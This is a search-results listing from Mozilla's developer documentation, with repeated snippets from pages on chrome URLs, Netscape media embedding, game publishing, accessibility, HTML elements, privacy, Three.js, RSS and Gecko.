...asons. For this reason, Mozilla provides a method of installing content locally and registering the installed files as part of its chrome system. This allows a special URL form, called a chrome:// URL, to be used. By accessing a file using a chrome URL, the files receive elevated privileges to access local files, access preferences and bookmarks and perform other privileged operations. Obviously,
web pages do not get these privileges, unless they are signed with a digital certificate and the user has granted permission to perform these operations. This chrome package registration is the way Firefox extensions are able to add features to the browser. The extensions are small packages of XUL files, JavaScript, style sheets and images packed together into a single file. These packaged files can...
...And 4 more matches
Windows Media in Netscape - Archive of obsolete content
Microsoft(R) Windows Media Player(TM) as an ActiveX control, and thus developers can now build multimedia experiences that script the Windows Media Player in Netscape 7.1, just as they do in Internet Explorer. Netscape 7.1 will work with both the Windows Media Player 6.4 ActiveX control as well as versions 7 through 9. This article explains how to embed the Windows Media Player ActiveX control in
web pages to support Netscape 7.1, how to control the Windows Media Player ActiveX control using JavaScript and provides working examples. This article deals uniquely with Netscape 7.1 running on the Windows operating system. Detecting the Right Browser Like Internet Explorer, Netscape 7.1 and later versions can play Windows Media files using the popular Windows Media Player ActiveX control. This con...
...ws Media Player ActiveX control using JavaScript and provides working examples. This article deals uniquely with Netscape 7.1 running on the Windows operating system. Detecting the Right Browser Like Internet Explorer, Netscape 7.1 and later versions can play Windows Media files using the popular Windows Media Player ActiveX control. This control is widely used to provide inline media support for
web pages that provide sound, video and other media. Controls such as Windows Media Player also interact closely with the scripts in a
web page. Netscape 7.1 is the first Netscape Gecko(TM) browser to support the Windows Media Player as an ActiveX control -- previous Netscape browsers did not support any ActiveX controls, and thus detecting which versions of Netscape support the Windows Media ActiveX...
...bject("{22D6F312-B0F6-11D0-94AB-0080C74C7E95}"); } ..... Note that the classIDs must be passed in curly braces "{}". The name GeckoActiveXObject rather than ActiveXObject was introduced for two reasons: GeckoActiveXObject is limited to creating instances of Windows Media Player ActiveX controls. It therefore can not be used everywhere ActiveXObject is used. ActiveXObject is used by many
web developers to detect the presence of Internet Explorer in much the same fashion as document.all is used. For example if (window.ActiveXObject) { // Internet Explorer only script } Server-side Detection Using User-agent Strings Netscape 7.1's user agent string on Windows has the general pattern: Mozilla/5.0 (Windows; U; <em>operating system version</em>; <em>language</em>; rv:1.4) Gecko/2003...
...And 4 more matches
Game distribution - Game development
debugging mobile. Publishing the game There are three main options when it comes to publishing a game: Self-hosting Publishers Stores Remember that the name of your game should be unique enough to be quickly promoted later on, but also catchy enough, so people don't forget it. Self-hosting If you are a front-end developer, you may already know what to do. An HTML5 game is just another
website. You can upload it to a remote server, grab a catchy domain name, and host it yourself. If you want to make money out of game dev, you should secure your source code one way or another against people who could easily take it and sell it as their own. You can concatenate and minify the code to make it smaller and uglify it so it's a lot harder to reverse engineer your game. Another good measu...
...il in the monetization article. There are also independent portals collecting interesting games like HTML5Games.com, GameArter.com, MarketJS.com, GameFlare, GameDistribution.com or Poki where you can send your game in and it will get some natural promotion because of the big traffic those sites attract. Some of these take your files and host them on their server, whereas others only link to your
website or embed your game on their site. Such exposure may just provide promotion for your game, or if you have adverts shown beside your game (or other money making options) it may also provide monetization.
Web and native stores You can also upload and publish your game directly to different types of stores, or marketplaces. To do that you'll have to prepare and package it to a build format spec...
...res available for different platforms and operating systems. Note: These are the most popular distribution platforms, but this is not to say these are the only options. Instead of trying to add your game to the thousands of others in the iOS store say, you can also try to find a niche and promote directly to the audience who would be interested in your games. Your creativity is critical here. ...
...And 4 more matches
Links and Resources
Web Accessibility Checklist from IBM. IBM's Java accessibility checklist - guidelines to making Java accessibility. ...
... Here are some useful links for those interested in
web accessibility as well as open source accessibility. Guidelines & Standards Information and resources on Section 508 - legal policy for US government purchases requiring software accessibility. WAI -
Web Accessibility Initiative
Web Content Accessibility Guidelines (WCAG) 1.0 The first set of official guidelines from the W3C
Web Accessibility Initiative (WAI). The European Union is looking to base their upcoming accessibility regulations on these guidelines. WAI interest group - Discussion list for standards in
web accessibility.
Web Accessibility Checklist from IBM. IBM's Java accessibility checklist - guidelines to making Java accessibility. Accessibility Information Resource Center For Developers at Adobe - Flash ...
...
Web Accessibility Checklist from IBM. IBM's Java accessibility checklist - guidelines to making Java accessibility. Accessibility Information Resource Center For Developers at Adobe - Flash MX accessibility, PDF document accessibility and ActionScript accessibility. Online Accessibility validators There are now a few available and excellent online accessibility validators which check single
webpages according to checkpoints of WCAG guidelines and then reports errors or warnings.
WebXACT(TM) from Watchfire(R) Corporation
WebXACT(TM) is a free and complete online accessibility validation service that can test single pages for quality, accessibility and privacy issues. The accessibility report will contain errors and warnings for "Automatic Checkpoints" and "Manual Checkpoints"; det...
...And 4 more matches
Index
Found 689 pages: # Page Tags and summary 1 Add-ons Add-ons, Extension, Extensions, Landing, Mozilla Add-ons allow developers to extend and modify the functionality of Firefox. 675 Creating an appealing add-on listing Add-ons, Beginner, Guide,
WebExtension, publishing There are two essential steps to getting people to use your add-on: they need to discover your add-on and open the listing page, then the listing page needs to encourage them to click the Add to Firefox button. The content you add to a listing is therefore vital: from making effective use of keywords in your descriptions, to get visibility in external search engine results, through having an icon that attracts a user's attention from a category list, to screenshots that s...
...from making effective use of keywords in your descriptions, to get visibility in external search engine results, through having an icon that attracts a user's attention from a category list, to screenshots that show how useful your add-on is. ...
...ns, Extensions,
WebExtensions, distribution, publication, reviews, signing Add-ons need to be signed before they can be installed into release and beta versions of Firefox. This signing process takes place through addons.mozilla.org (AMO), whether you choose to distribute your add-on through AMO or to do it yourself. 678 Make money from browser extensions Guide, Monetization,
WebExtensions, distribution While users can download browser extensions for Firefox free of cost from addons.mozilla.org (AMO), this doesn't mean you can't make money from browser extensions, and to a more limited extent themes. ...
...And 4 more matches
SVN for Localizers
It's a handy tool that allows us to grab, change, and store versions of source files in one location. ...
...ur localizations right back to them. First things first, we need to give you a brief introduction to what SVN is and where you can find the necessary tools to get started. If you're already familiar with this information, skip ahead to Mozilla's SVN repositories. Brief intro to SVN SVN (abbreviation for Subversion) is a free and open source repository tool we use to manage the localized Mozilla
web pages. It's a handy tool that allows us to grab, change, and store versions of source files in one location. You should know that when we say SVN we are referring to either the SVN server and the SVN client. This may seem confusing, but don't fret because we'll make sure to differentiate between the two here: SVN server: This is installed on one of Mozilla's servers that we use to manage our l...
...s a handy tool that allows us to grab, change, and store versions of source files in one location. You should know that when we say SVN we are referring to either the SVN server and the SVN client. This may seem confusing, but don't fret because we'll make sure to differentiate between the two here: SVN server: This is installed on one of Mozilla's servers that we use to manage our localizable
web system. SVN client: This is what a localizer installs on their own computer. The SVN client is the localizer's communication portal for accessing the Mozilla SVN server. You use it to copy files from the server to your computer and to push changed or localized files back onto the server. Installing SVN client: Linux users can download the SVN client from http://subversion.apache.org/package...
...And 4 more matches
Research and prep
It is one of the most customizable and localizable parts of the product l10n process, as it goes beyond string translation. We believe that localization teams are in the best position to provide recommendations on what local providers we can use for
web services because you're in the market, work in the language, and know your users. ...
...l handlers (RSS Readers,
Web Mail and
Web Calendar), bookmarks, and links to recommended sites on the in-product pages as it relates to their locale. It is one of the most customizable and localizable parts of the product l10n process, as it goes beyond string translation. We believe that localization teams are in the best position to provide recommendations on what local providers we can use for
web services because you're in the market, work in the language, and know your users. This is, therefore, meant to be a guideline for how you should be formulating your recommendations. Here's the basic process: File a bug under Mozilla Localizations>[your_locale] to request updates to your locale's productization preferences. If this is your first localization for a product, the l10n drivers will ...
...r recommendations. Here's the basic process: File a bug under Mozilla Localizations>[your_locale] to request updates to your locale's productization preferences. If this is your first localization for a product, the l10n drivers will file this bug as part of the new product localization release process. It is your l10n team's responsibility to perform research and identify the most appropriate
web services for your region and present them in your bug as your informed recommendations. If there's no existing collaboration with the site provider and Mozilla, ask for permission from the site provider to include it. Ensure that your suggestions follow these parameters: Search There are typically five search plug-ins listed for Firefox desktop (only four for Firefox mobile): Generic sear...
...And 4 more matches
AT APIs Support
aders, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support Gecko-based software. We provide for them the support of these products on Windows, Linux/Unix and OS X platforms. Accessible Gecko Gecko is a rendering engine that Firefox, SeaMonkey, Netscape and yelp use. Gecko can render a variety of content, not just HTML and supports key
web standards such as Cascading Style Sheets, Javascript and the W3C DOM. Gecko also handles the users keystrokes and mouse clicks. Gecko is the core architecture that we are adding accessibility to, in order to support basic accessibility in all applications that are based on it. Gecko Based Applications Gecko can be used in two ways to create application: Embedded Clients Embedded clients use G...
...ontrols for their user interface -- the area outside of the client content window, plus the context menu. on Windows platform MFCEMBED testing client - this is a very simple package, great for testing basic HTML accessibility with your products and the Gecko rendering engine (please contact us for a copy). ...
...ne (please contact us for a copy). K-Meleon - light, ultra-fast and more advanced (fully configurable) Gecko-based
web browser available on the Windows platform on Linux/Unix platform Yelp help viewer - the help viewer in Gnome Evolution email - provides integrated mail, addressbook and calendaring functionality to users of the GNOME desktop. on Mac platform Camino -
web browser for OS X XUL Applications XUL applications make full use of the Gecko architecture, not only for HTML content, but also for the entire user interface. Widgets such as menus, tab panels, tree views and dialogs are provided via an XML language called XUL (eXtensible User-interface Language). None of the user interface contains standard OS controls. This is done to ensure a common lo...
...And 4 more matches
Creating XPCOM components
discussion of the relationship between components and modules, of XPCOM interfaces, and of the registration process in general. Note: In general, you should try to avoid having to create XPCOM components. Add-ons should try to use the new Add-on SDK as much as possible; however, there may be cases when it's unavoidable. Note:This article describes a method that uses xpidl but you should use
webidl instead. Preface Who Should Read This Book Organization of the Tutorial Following Along with the Examples Conventions Acknowledgements An Overview of XPCOM The XPCOM Solution Gecko Components Interfaces Interfaces and Encapsulation The nsISupports Base Interface XPCOM Identifiers CID Contract ID Factories XPIDL and Type Libraries XPCOM Services ...
...ion Gecko Components Interfaces Interfaces and Encapsulation The nsISupports Base Interface XPCOM Identifiers CID Contract ID Factories XPIDL and Type Libraries XPCOM Services XPCOM Types Method Types Reference Counting Status Codes Variable Mappings Common XPCOM Error Codes Using XPCOM Components Component Examples Cookie Manager The
WebBrowserFind Component The
WebLock Component Component Use in Mozilla Finding Mozilla Components Using XPCOM Components in Your Cpp XPConnect: Using XPCOM Components From Script Component Internals Creating Components in Cpp XPCOM Initialization XPCOM Registry Manifests Registration Methods in XPCOM Autoregistration The Shutdown Process Three Parts of a XPCOM Co...
...ents in Cpp XPCOM Initialization XPCOM Registry Manifests Registration Methods in XPCOM Autoregistration The Shutdown Process Three Parts of a XPCOM Component Library XPCOM Glue The Glue Library XPCOM String Classes Creating the Component Code What We'll Be Working On Component Registration The regxpcom Program Registration Alternatives Overview of the
WebLock Module Source Digging In: Required Includes and Constants Identifiers in XPCOM Coding for the Registration Process The Registration Methods Creating an Instance of Your Component
webLock1.cpp Using XPCOM Utilities to Make Things Easier XPCOM Macros Generic XPCOM Module Macros Common Implementation Macros Declaration Macros
webLock2.cpp String Classes in XPC...
...And 4 more matches
Firefox Developer Tools
Firefox Developer Tools is a set of
web developer tools built into Firefox. You can use them to examine, edit, and debug HTML, CSS, and JavaScript. This section contains detailed guides to all of the tools as well as information on how to debug Firefox for Android, how to extend DevTools, and how to debug the browser as a whole. If you have any feedback on DevTools, or want to contribute to the project, you can join the DevTools community. Note: If you are just getting started with
web development and using developer tools, our learning docs will help you -- see Getting started with the
Web and What are browser developer tools? for good starting points. The Core Tools You can open the Firefox Developer Tools from the menu by selecting Tools >
Web Developer > Toggle Tools or use the ke...
...tton to take a screenshot of the current page. (Note: This feature is not turned on by default and must be enabled in settings before the icon will appear.) Toggles Responsive Design Mode. Opens the menu that includes docking options, the ability to show or hide the split console, and Developer Tools settings. The menu also includes links to the documentation for Firefox
Web Tools and the Mozilla Community. Closes the Developer Tools Page Inspector View and edit page content and layout. Visualise many aspects of the page including the box model, animations, and grid layouts.
Web Console See messages logged by a
web page and interact with the page using JavaScript. JavaScript Debugger Stop, step through, examine, and modify the J...
...messages logged by a
web page and interact with the page using JavaScript. JavaScript Debugger Stop, step through, examine, and modify the JavaScript running in a page. Network Monitor See the network requests made when a page is loaded. Performance Tools Analyze your site's general responsiveness, JavaScript, and layout performance. Responsive Design Mode See how your
website or app will look and behave on different devices and network types. Accessibility inspector Provides a means to access the page's accessibility tree, allowing you to check what's missing or otherwise needs attention. Application panel Provides tools for inspecting and debugging modern
web apps (also known as Progressive
Web Apps). This includes inspection of service workers and ...
...And 4 more matches
box-flex - CSS: Cascading Style Sheets
This is a property for controlling parts of the XUL box model. It does not match either the old CSS Flexible Box Layout Module drafts for 'box-flex' (which were based on this property) or the behavior of '-
webkit-box-flex' (which is based on those drafts). See flexbox for information about the current standard. The -moz-box-flex and -
webkit-box-flex CSS properties specify how a -moz-box or -
webkit-box grows to fill the box that contains it, in the direction of the containing box's layout. ...
...If the value is 0, the box does not grow. ...
...If the value is 0, the box does not grow. ...
...And 4 more matches
box-pack - CSS: Cascading Style Sheets
The effect of this is only visible if there is extra space in the box. ...
...The effect of this is only visible if there is extra space in the box. ...
...he box's orientation and direction: Normal Reverse Horizontal left right Vertical top bottom The edge opposite to the start is designated the end. If the packing is set using the element's pack attribute, then the style is ignored. ...
...And 4 more matches
break-inside - CSS: Cascading Style Sheets
ModuleThe definition of 'break-inside' in that specification. Working Draft Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 12Firefox Full support 65IE Full support 10Opera Full support 37 Full support 37 No support 11.1 -- 12.1Safari Full support 10
WebView Android Full support 50Chrome Android Full support 50Firefox Android Full support 65Opera Android Full support 37 Full support 37 No support 11.
...columnChrome Full support 50Edge Full support 12Firefox No support NoIE Full support 10Opera Full support 37Safari Full support 10
WebView Android Full support 50Chrome Android Full support 50Firefox Android No support NoOpera Android Full support 37Safari iOS Full support 10Samsung Internet Android ...
...And 4 more matches
User input and controls - Developer guides
Relevant APIs and events include touch events, Pointer Lock API, Screen Orientation API, Fullscreen API, Drag & Drop and more. User input and controls workflow The following diagram illustrates the typical workflow for implementing user input mechanisms: First of all, you need to decide which input mechanisms you want to cover in your application out of mouse, keyboard, finger touch and so on. ...
...ullscreen API, Drag & Drop and more. User input and controls workflow The following diagram illustrates the typical workflow for implementing user input mechanisms: First of all, you need to decide which input mechanisms you want to cover in your application out of mouse, keyboard, finger touch and so on. Once you decided the input mechanisms, you can control them using tools offered by the
web platform or JavaScript libraries. Recommendations Available input mechanisms depend on the capabilities of the device running the application: Some devices provide touchscreen displays: the
Web Platform offers touch events to interpret finger activity on touch-based user interfaces. For devices providing a mouse/touchpad as a pointing method, the Pointer Lock API helps you in implementing a...
...n mode. Using features such as contentEditable elements you can implement fast rich-text editors and with Drag&Drop let users moving elements inside your app. When screen orientation matters for your application, through the Screen Orientation API you can read the screen orientation state and perform other actions. You should always be mindful of keyboard accessibility where appropriate -- many
web users only use keyboard to navigate
web sites and apps, and locking them out of your functionality is a bad idea. The following is a set of recommendations and best practices for using such tools in Open
Web Apps. Decide what input mechanism you're using Keyboard Keyboard input can be controlled by your app. For example if you want to add controls when any key gets pressed, you need to add a...
...And 4 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
Content within each <a> should indicate the link's destination. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Attributes This element's attributes include the global attributes. downloadHTML5 Prompts the user to save the linked URL instead of navigating to it. ...
...t-Disposition: inline, Firefox prefers the header while Chrome prefers download.) href The URL that the hyperlink points to. Links are not restricted to HTTP-based URLs -- they can use any URL scheme supported by browsers: Sections of a page with fragment URLs Pieces of media files with media fragments Telephone numbers with tel: URLs Email addresses with mailto: URLs While
web browsers may not support other URL schemes,
web sites can with registerProtocolHandler() hreflang Hints at the human language of the linked URL. No built-in functionality. Allowed values are the same as the global lang attribute. ping A space-separated list of URLs. When the link is followed, the browser will send POST requests with the body PING to the URLs. Typically for tracking. refe...
...x menuitemradio option radio switch tab treeitem When href attribute is not present: any DOM interface HTMLAnchorElement Examples Linking to an absolute URL HTML <a href="https://www.mozilla.com"> Mozilla </a> Result Linking to relative URLs HTML <a href="//example.com">Scheme-relative URL</a> <a href="/docs/
Web/HTML">Origin-relative URL</a> <a href="./p">Directory-relative URL</a> CSS a { display: block; margin-bottom: 0.5em } Result Linking to an element on the same page <!-- <a> element links to the section below --> <p><a href="#Section_further_down"> Jump to the heading below </a></p> <!-- Heading to link to --> <h2 id="Section_further_down">Section further down</h2> Note: You can us...
...And 4 more matches
<acronym> - HTML: Hypertext Markup Language
Attributes This element only has global attributes, which are common to all elements. DOM Interface This element implements the HTMLElement interface. ...
... shouldn't be used anymore. Instead
web developers should use the <abbr> element. Attributes This element only has global attributes, which are common to all elements. DOM Interface This element implements the HTMLElement interface. Implementation note: Up to Gecko 1.9.2 inclusive, Firefox implements the HTMLSpanElement interface for this element. Example <p>The <acronym title="World Wide
Web">WWW</acronym> is only a component of the Internet.</p> Default styling Though the purpose of this tag is purely for the convenience of the author, its default styling varies from one browser to another: Some browsers, like Internet Explorer, do not style it differently than a <span> element. Opera, Firefox, Chrome, and some others add a dotted underline to the content of the element. A f...
...Some browsers, like Internet Explorer, do not style it differently than a <span> element. Opera, Firefox, Chrome, and some others add a dotted underline to the content of the element. A few browsers not only add a dotted underline, but also put it in small caps; to avoid this styling, adding something like font-variant: none in the CSS takes care of this case. It is therefore recommended that
web authors either explicitly style this element, or accept some cross-browser variation. Specifications Specification Status Comment HTML 4.01 SpecificationThe definition of '<acronym>' in that specification. Recommendation Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data...
...And 4 more matches
<input type="file"> - HTML: Hypertext Markup Language
he file input allows the user to select more than one file. Non-standard attributes In addition to the attributes listed above, the following non-standard attributes are available on some browsers. You should try to avoid using them when possible, since doing so will limit the ability of your code to function in browsers that don't implement them. ...
...ard attributes are available on some browsers. You should try to avoid using them when possible, since doing so will limit the ability of your code to function in browsers that don't implement them. ...
...some browsers. You should try to avoid using them when possible, since doing so will limit the ability of your code to function in browsers that don't implement them. Attribute Description
webkitdirectory A Boolean indicating whether or not to only allow the user to choose a directory (or directories, if multiple is also present)
webkitdirectory The Boolean
webkitdirectory attribute, if present, indicates that only directories should be available to be selected by the user in the file picker interface. See HTMLInputElement.
webkitdirectory for additional details and examples. Note: Though originally implemented only for
WebKit-based browsers,
webkitdirectory is also usable in Microsoft Edge as well as Firefox 50 and later. However, even though it has r...
...And 4 more matches
JavaScript
JavaScript (JS) is a lightweight, interpreted, or just-in-time compiled programming language with first-class functions. While it is most well-known as the scripting language for
Web pages, many non-browser environments also use it, such as Node.js, Apache CouchDB and Adobe Acrobat. JavaScript is a prototype-based, multi-paradigm, single-threaded, dynamic language, supporting object-oriented, imperative, and declarative (e.g. functional programming) styles. Read more about JavaScript. This section is dedicated to the JavaScript language itself, and not the parts that are specific to
Web pages or other host environments. For information about API specifics to
Web pages, please see
Web APIs and DOM. The standard for JavaScript is ECMAScript. As of 2012, all modern browsers fully support ECMA...
...lease cycles. This documentation refers to the latest draft version, which is currently ECMAScript 2020. Do not confuse JavaScript with the Java programming language. Both "Java" and "JavaScript" are trademarks or registered trademarks of Oracle in the U.S. and other countries. However, the two programming languages have a very different syntax, semantic, and use. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Tutorials Learn how to program in JavaScript with guides and tutorials. For complete beginners Head over to our Learning Area JavaScript topic if you want to learn JavaScript but have no previous experience of JavaScript or programming. The complete modules...
...ure of JavaScript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you. Asynchronous JavaScript Discusses asynchronous JavaScript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. Client-side
web APIs Explores what APIs are, and how to use some of the most common APIs you'll come across often in your development work. JavaScript guide JavaScript Guide A much more detailed guide to the JavaScript language, aimed at those with previous programming experience either in JavaScript or another language. Intermediate Understanding client-side JavaScript frameworks JavaScript framewo...
...And 4 more matches
Privacy, permissions, and information security
As users use the
web for more and more of their daily tasks, more of their private or personally-identifying information they share, ideally only with sites they trust. Cooperation among
web content, the
web browser, and the
web server is needed to achieve as much privacy and information security as possible. In this article, we examine how to create
web content that minimizes the risk of users' personal information or imagery being obtained unexpectedly by third parties. Security and privacy defined Before we go into any depth about the various security and privacy features available to users on the
web, let's define some important terms. Personally identifiable information Personally identifiable information (PII) is information which can be used, in whole or in part, to track do...
...For example, if a site leaks a list of users' names and zip codes online, a bad actor could almost certainly track down at least some percentage of those users by simply using the corresponding phone books. ...
...le be used in the fingerprinting process, though the more unique the information is to the particular device the better. Modern browsers take steps to help prevent fingerprinting-based attacks by either not allowing information to be accessed or, where the information must be made available, by introducing variations that prevent it from being used for identification purposes. For example, if a
web site queries a user's browser for the elapsed time, a comparison of that time to the time as reported by the server might be useful as a factor in fingerprinting. Because of this, browsers typically introduce a small amount of variability to timers in order to make them less useful for identifying the user's system. Privacy and security controls There are multiple layers of controls for helping...
...And 4 more matches
List of Former Mozilla-Based Applications - Archive of obsolete content
pplications that at one point used Mozilla technologies or that are no longer being actively maintained. A list of actively maintained Mozilla-based applications is also available. ...
...ns is also available. ...
... Name Description Additional Information Angelsoft Tools for Startups, VCs, and Angel Investors Switched from XULRunner-based client to a
web application Autodesk Maya 3d modeling tool Switched off of Gecko for help browser in version 8.5 Blam Feed reader Switched to
WebKit in version 1.8.6 Boxee Media center software Switched to
WebKit in version 1.0 Epiphany Browser Switched from Gecko to
Webkit Flock Social browsing Flock switched from being Firefox-based to Chromium-based when it released a new beta on June 16, 2010 Jolicloud
web operating system As of March 2010, RW/W reports Jolicloud is on Chrome/Chrome OS Joost TV over Internet Switched from XULRunner-based c...
...And 3 more matches
Venkman Introduction - Archive of obsolete content
Warning: The content of this article may be out of date. A powerful new tool is available for
web developers for use in many Mozilla-based products, including Firefox, Mozilla Suite and Netscape 7.x. The JavaScript debugger, also called Venkman, has been a part of the Mozilla browser and the community of
web and script developers there for some time. This article provides an overview and some practical examples of using the JavaScript debugger in
web applications and
web page scripting. This introduction is the first in a series of articles on Venkman and JavaScript debugging. Even if you are already using Venkman, the features, procedures, and tips described here will make you a more confident
web developer and debugger. Venkman is both a graphic and a console debugger. Feat...
...he way you are most accustomed to. The interactive console also allows for execution of arbitrary JavaScript code. Venkman's keyboard shortcuts are the same as leading visual debugging environments, and gdb users should be familiar with Venkman's /break, /step, /next, /finish, /frame, and /where commands. On Windows, the JavaScript debugger compares favorably with Visual Interdev and other large
web development tools. On other platforms, including Mac OS and Unix, it is alone in offering this degree of flexibility, depth, and power in a visual debugging environment. Starting the Debugger The JavaScript Debugger is automatically pre-installed in Mozilla 1.x but must be installed separately in Firefox and other Gecko-based products, such as Thunderbird and Netscape 7.x. Fortunately, the XPIn...
...hat browser, or else restart the browser with a special debugger option. To see which version of Venkman you have, type /version in the Interactive Session view. For more information about the latest improvements and versions, see the Venkman Development Page. There are two ways to start the debugger: From Firefox, you can start it by selecting JavaScript Debugger from the Tools menu (Tools->
Web Development menu in Mozilla 1.x and Netscape). You can also start the browser with the -venkman command line option, which launches Venkman initially instead of an application front end. (Note that Venkman displays usage data when it starts up: "Recorded local startup X, global YYY." This data comes from a counter built in to the application. For more information about this counter and the dat...
...And 3 more matches
What is RSS - Archive of obsolete content
, but you will be seeing how RSS is commonly used and simple example RSS files for these common uses. You will also be getting a little history on RSS. What is RSS? The most popular versions of RSS are XML-based markup languages used for syndication. (Although RDF-based RSS formats exist, namely the deprecated RSS 0.90 and RSS 1.0.) Common uses of RSS syndication are for the syndication of news
web sites, of blogs, of Internet Radio, and of Internet Television. This tutorial teaches RSS 2.0, but makes an effort to point out issues with other versions of RSS. RSS is almost never written by hand; it is almost always created by server-side software (usually written in a language like PHP, Java, C#, or Python) on the
web server. However, so that we can learn RSS, we will be creating RSS scrip...
...always created by server-side software (usually written in a language like PHP, Java, C#, or Python) on the
web server. However, so that we can learn RSS, we will be creating RSS scripts by hand. A short history of RSS In March of 1999 Netscape released RSS 0.90. It was much much different than today's RSS. It wasn't really a format for syndication, but was a format for providing a summary of a
website. In fact, back then, RSS did not stand for Really Simple Syndication but stood for Rich Site Summary. In July of 1999 Netscape's RSS 0.91 was released. Like RSS 0.90, Netscape's RSS 0.91 was also a format for providing a summary of a
website, and not really a syndication format (as it is today). Netscape's RSS 0.91 was created to simplify things. RSS 0.90 was RDF-based, which many found to b...
...t everyone to come and read. Just subscribe to my RSS feed and you will be able to get the latest ones all the time.". Note: If you provide a non-password-protected RSS feed, you are implicitly giving everyone permission to use the contents in you RSS feed in almost any way they see fit. They can read it. They can make local copies of it. They can share that local copy. They can put it on their
website. They can even re-syndicate it. And more. If you don't want any of that done, then don't put it in a non-password-protected RSS feed, and, of course, don't make the password public. News
web sites use RSS to provide everyone with a list of their newest articles. For example: <?xml version="1.0"?> <rss version="2.0"> <channel> <title>Example News Site</title> <descripti...
...And 3 more matches
Developing cross-browser and cross-platform pages - Archive of obsolete content
There are 2 known approaches for such goals: the browser identification approach (also known as userAgent string detection and often referred as "browser sniffing") and the Object/Feature support detection approach. ...
...string detection and often referred as "browser sniffing") and the Object/Feature support detection approach. The browser identification approach is now known to be complicated, unreliable and difficult to maintain. ...
...nreliable and difficult to maintain. Browser identification approach (aka "browser sniffing"): not best, not reliable approach This approach, still commonly used nowadays, attempts to identify the browser and makes the
web author at design time decide what that implies in terms of capabilities of the visiting browser. Such approach is fraught with problems and difficulties. It requires from the
web author to have knowledge of the capabilities of all current browsers that may visit the page and then to code appropriately for these. ...
...And 3 more matches
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
nting Standards Board). All businesses are expected and required to follow the guidelines set forth by the FASB. When auditors evaluate an organizations financial health, they do so by following the FASB rules. Focusing on the software development portion of an organization, there are numerous standards bodies that can affect development decisions. ...
...By following the guidelines that have been put into place, organizations like AOL can enhance user experience, interoper...
...is critical. When customers choose to use a particular product, they must have a positive experience with consistent, reliable, and predictable behavior. As users become more sophisticated, and as additional devices become more affordable, they will be accessing the same information across a variety of devices - and expect them to look and act the same - regardless of whether they are accessing a
web site from their desktop, phone, or handheld. Consequently, if an organization offers a suite of products they must ensure that the user experience is consistent and predictable across the product line. Consistency To be successful, organizations need to understand this user expectation and provide a consistent experience across their product offerings. When usability alters too much across prod...
...And 3 more matches
RDF in Mozilla FAQ - Archive of obsolete content
cribes in more detail how Mozilla's RDF implementation works, and gives a quick overview of the interfaces that are involved. Where do I find information on Open Directory ("dmoz")? Unfortunately, not here! Well, here's a little... Start at http://www.dmoz.org/ for more information on the Open Directory. The Open Directory dataset is available as a (huge) RDF/XML dump. It describes thousands of
Web sites using a mix of the Dublin Core metadata vocabulary and the DMoz taxonomy. See their RDF pages for more information. If you have problems with the DMoz and ChefMoz data, it's best to contact those projects directly. But if you do something interesting with this content (eg. have Mozilla use it, eg. by loading chunks of it into a XUL UI from a remote site), don't forget to let mozilla-rdf an...
...r bookmarks", "browser global history", "IMAP mail accounts", "NNTP news servers", and "RDF/XML files". In Mozilla, datasources can be composed together using the composite data source. This is like overlaying graphs, or merging collections of statements ("microtheories") together. Statements about the same RDF resource can then be intermingled: for example, the "last visit date" of a particular
website comes from the "browser global history" datasource, and the "shortcut keyword" that you can type to reach that
website comes from the "browser bookmarks" datasource. Both datasources refer to "
website" by URL: this is the "key" that allows the datasources to be "merged" effectively. For a more detailed account of how to write a datasource, refer to the RDF Datasource How-To. How does Mozill...
...he RDF service until the last reference is dropped. How do I create a datasource from an RDF/XML file? You can either create an RDF/XML datasource using the RDF service's GetDataSource() method: // Get the RDF service var RDF = Components .classes["@mozilla.org/rdf/rdf-service;1"] .getService(Components.interfaces.nsIRDFService); // ...and from it, get the datasource. ...
...And 3 more matches
Building up a basic demo with Three.js - Game development
th any other 3D library, provides built-in helper functions to help you implement common 3D functionality more quickly. In this article we'll take you through the real basics of using Three, including setting up a development environment, structuring the necessary HTML, the fundamental objects of Three, and how to build up a basic demo. ...
...more quickly. In this article we'll take you through the real basics of using Three, including setting up a development environment, structuring the necessary HTML, the fundamental objects of Three, and how to build up a basic demo. Note: We chose Three because it is one of the most popular
WebGL libraries, and it is easy to get started with. We are not trying to say it is better than any other
WebGL library available, and you should feel free to try another library, such as CopperLicht, GLGE, or PlayCanvas. Environment setup To start developing with Three.js, you don't need much. You should: Make sure you are using a modern browser with good
WebGL support, such as the latest Firefox or Chrome. Create a directory to store your experiments in. Save a copy of the latest minimized Thre...
...ee.js library in the page, and we will write our example code inside the second. There are two helper variables already included, which store the window's width and height. Before reading further, copy this code to a new text file, and save it in your working directory as index.html. Renderer A renderer is a tool which displays scenes right in your browser. There are a few different renderers:
WebGL is the default, and others you can use are Canvas, SVG, CSS, and DOM. They differ in how everything is rendered, so the
WebGL implementation will implement differently than the CSS one. Despite the variety of ways they achieve the goal, the experience will look the same for the user. Thanks to this approach, a fallback can be used, if a desired technology is not supported by the browser. var r...
...And 3 more matches
Gecko FAQ - Gecko Redirect 1
bedded JavaScript and plugins. Gecko is so fast and so powerful that it's being used to create the user interface of some applications ("chrome") as well. In other words, Gecko will not only be displaying the document's content, but it will also be painting the scrollbars, toolbars, and menus on the screen as well. For more information see XUL. How is a layout engine like Gecko different from a
Web browser? Gecko provides the foundation needed to display content on the screen, including a layout engine and a complementary set of browser components. However, Gecko does not package all of these components alongside other interface modules in a coherent, user-friendly application (including menus, toolbars, etc.), such as Firefox. mozilla.org assembles the necessary components into its appli...
...components are not provided as part of Gecko, such as bookmarks, history, address book, etc. However, the source for all those components is available for free download from mozilla.org. Why was Gecko built? The original Mozilla browser, first released as Navigator 1.0, was developed rapidly by a small team that was passionate about creating the next killer app, and they succeeded. Now that the
web has evolved, a new generation layout engine was needed upon which future products could be built. Gecko enables a pioneering new class of dynamic content that is more interactive and offers greater presentation control to
